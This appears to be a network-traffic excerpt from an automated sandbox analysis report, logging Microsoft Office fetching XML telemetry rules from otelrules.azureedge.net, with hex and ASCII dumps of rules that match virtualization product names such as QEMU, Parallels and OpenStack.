2024-11-19 21:07:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-1777c6cb754wcxkwhC1TEB3c6w00000008e000000000vbeg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49790	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-1777c6cb754xrr98hC1TEB3kag00000008c000000000qm4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49791	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-1777c6cb754n67brhC1TEBcp9c00000008r0000000009z5m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49792	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-r1d97b99577ckpmjhC1TEBrzs000000007xg00000000cct1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49793	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-1777c6cb754b7tdghC1TEBwwa400000008ug000000004kfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49794	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-1777c6cb754j47wfhC1TEB5wrw00000004dg00000000h4bu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49796	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-r1d97b99577dd2gchC1TEBz5ys00000007s0000000008yc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49795	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-1777c6cb754j8gqphC1TEB5bf800000008e000000000u890 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49797	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-r1d97b99577kk29chC1TEBemmg00000007v000000000qm8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49798	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-r1d97b99577d6qrbhC1TEBux5s0000000830000000003h3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49799	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-1777c6cb754j47wfhC1TEB5wrw00000004c000000000pwz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49800	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-r1d97b99577d6qrbhC1TEBux5s000000083g000000001tfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49801	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
